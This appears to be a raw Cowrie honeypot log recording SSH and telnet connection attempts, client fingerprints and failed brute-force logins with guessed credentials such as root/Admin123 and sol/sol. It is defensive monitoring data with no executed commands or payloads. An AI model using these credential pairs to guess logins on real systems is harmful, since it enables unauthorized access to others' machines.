{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44722,"dst_ip":"159.203.135.109","dst_port":23,"session":"d20d8baaadd3","protocol":"telnet","message":"New connection: 128.199.8.54:44722 (159.203.135.109:23) [session: d20d8baaadd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:15.663389Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":32904,"dst_ip":"159.203.135.109","dst_port":23,"session":"27a790f3fd05","protocol":"telnet","message":"New connection: 107.6.151.170:32904 (159.203.135.109:23) [session: 27a790f3fd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:18.216841Z"}
{"eventid":"cowrie.session.closed","duration":0.0052032470703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:18.221900Z","src_ip":"107.6.151.170","session":"27a790f3fd05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":56392,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c8c1785bb23","protocol":"ssh","message":"New connection: 2.57.122.238:56392 (159.203.135.109:22) [session: 0c8c1785bb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:25.203010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:25.206715Z","src_ip":"2.57.122.238","session":"0c8c1785bb23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:25.314805Z","src_ip":"2.57.122.238","session":"0c8c1785bb23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:25.632708Z","src_ip":"2.57.122.238","session":"0c8c1785bb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:26.740551Z","src_ip":"2.57.122.238","session":"0c8c1785bb23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41162,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3ea7ea31c9","protocol":"ssh","message":"New connection: 80.94.92.184:41162 (10.17.0.5:22) [session: ec3ea7ea31c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:29.231619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:29.320786Z","src_ip":"80.94.92.184","session":"ec3ea7ea31c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:29.578527Z","src_ip":"80.94.92.184","session":"ec3ea7ea31c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:30.335250Z","src_ip":"80.94.92.184","session":"ec3ea7ea31c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:31.532889Z","src_ip":"80.94.92.184","session":"ec3ea7ea31c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.82274031639099,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:32.486017Z","src_ip":"128.199.8.54","session":"d20d8baaadd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":60900,"dst_ip":"10.17.0.5","dst_port":22,"session":"2934a48355ba","protocol":"ssh","message":"New connection: 111.238.174.6:60900 (10.17.0.5:22) [session: 2934a48355ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:50:59.868227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:50:59.872521Z","src_ip":"111.238.174.6","session":"2934a48355ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:00.056853Z","src_ip":"111.238.174.6","session":"2934a48355ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty321","message":"login attempt [root/Qwerty321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:00.830760Z","src_ip":"111.238.174.6","session":"2934a48355ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:02.021204Z","src_ip":"111.238.174.6","session":"2934a48355ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":36486,"dst_ip":"159.203.135.109","dst_port":22,"session":"763151898821","protocol":"ssh","message":"New connection: 91.211.95.158:36486 (159.203.135.109:22) [session: 763151898821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:22.291695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:22.294422Z","src_ip":"91.211.95.158","session":"763151898821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:22.453697Z","src_ip":"91.211.95.158","session":"763151898821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cdn2","password":"cdn2","message":"login attempt [cdn2/cdn2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:23.125207Z","src_ip":"91.211.95.158","session":"763151898821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:24.286240Z","src_ip":"91.211.95.158","session":"763151898821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52030,"dst_ip":"159.203.135.109","dst_port":23,"session":"2741f9b493e6","protocol":"telnet","message":"New connection: 172.81.62.90:52030 (159.203.135.109:23) [session: 2741f9b493e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:36.492114Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":33448,"dst_ip":"159.203.135.109","dst_port":22,"session":"377da59494de","protocol":"ssh","message":"New connection: 2.57.122.238:33448 (159.203.135.109:22) [session: 377da59494de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:41.717018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:41.720407Z","src_ip":"2.57.122.238","session":"377da59494de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:41.820099Z","src_ip":"2.57.122.238","session":"377da59494de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:42.120708Z","src_ip":"2.57.122.238","session":"377da59494de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:51:43.222902Z","src_ip":"2.57.122.238","session":"377da59494de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":51610,"dst_ip":"10.17.0.5","dst_port":22,"session":"db6187ccd3bc","protocol":"ssh","message":"New connection: 111.238.174.6:51610 (10.17.0.5:22) [session: db6187ccd3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:00.553557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:00.557216Z","src_ip":"111.238.174.6","session":"db6187ccd3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:00.742280Z","src_ip":"111.238.174.6","session":"db6187ccd3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"home","message":"login attempt [root/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:01.529300Z","src_ip":"111.238.174.6","session":"db6187ccd3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:02.727078Z","src_ip":"111.238.174.6","session":"db6187ccd3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55540,"dst_ip":"10.17.0.5","dst_port":22,"session":"021938797a10","protocol":"ssh","message":"New connection: 147.45.199.80:55540 (10.17.0.5:22) [session: 021938797a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:07.651630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:07.656011Z","src_ip":"147.45.199.80","session":"021938797a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:07.754785Z","src_ip":"147.45.199.80","session":"021938797a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190485","message":"login attempt [root/190485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:08.053060Z","src_ip":"147.45.199.80","session":"021938797a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.61314868927002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:08.105189Z","src_ip":"172.81.62.90","session":"2741f9b493e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:09.154443Z","src_ip":"147.45.199.80","session":"021938797a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44804,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea7a0eed2be","protocol":"ssh","message":"New connection: 27.71.230.31:44804 (10.17.0.5:22) [session: aea7a0eed2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:14.731239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:14.774404Z","src_ip":"27.71.230.31","session":"aea7a0eed2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:15.913707Z","src_ip":"27.71.230.31","session":"aea7a0eed2be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:17.880990Z","src_ip":"27.71.230.31","session":"aea7a0eed2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:19.136746Z","src_ip":"27.71.230.31","session":"aea7a0eed2be","protocol":"ssh"}
